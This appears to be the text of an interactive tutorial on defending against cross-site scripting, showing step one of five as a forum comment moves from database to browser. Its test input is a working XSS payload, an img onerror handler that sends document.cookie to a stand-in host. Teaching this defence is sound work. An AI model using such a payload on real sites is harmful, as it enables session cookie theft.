XSS Defence Pipeline

Move one hostile value through real browser sinks, then add the layers that keep data from becoming executable state.

ScenarioPick the browser context that is about to consume the value

Sourcestep 1

Forum comment from the database. Right now it is still a string inside application state.

Sinkstep 2

No DOM sink yet. The browser has not been asked to parse it.

Parserstep 3

No active parser boundary crossed. The value is just bytes.

Guardstep 4

Keep it typed as text until the UI layer decides what kind of thing it should become.

OutcomeTyped data

Dormant payload. A hostile string is not XSS until some later code treats it as markup or code.

InputHostile value under test

<img src=x onerror="fetch(`https://evil.example/steal?c=${document.cookie}`)">

CodeWhat the application is doing at this step

const comment = row.body

Browser viewHow the browser ends up interpreting it

In memory only:
<img src=x onerror="...">

Step 1 / 5Payload exists as data only

At this step nothing is executing. The dangerous part is not storage. The dangerous part is the next sink.

Current outcome: Typed data

Arrow keys to navigate · R to reset

Tap dots to jump to any step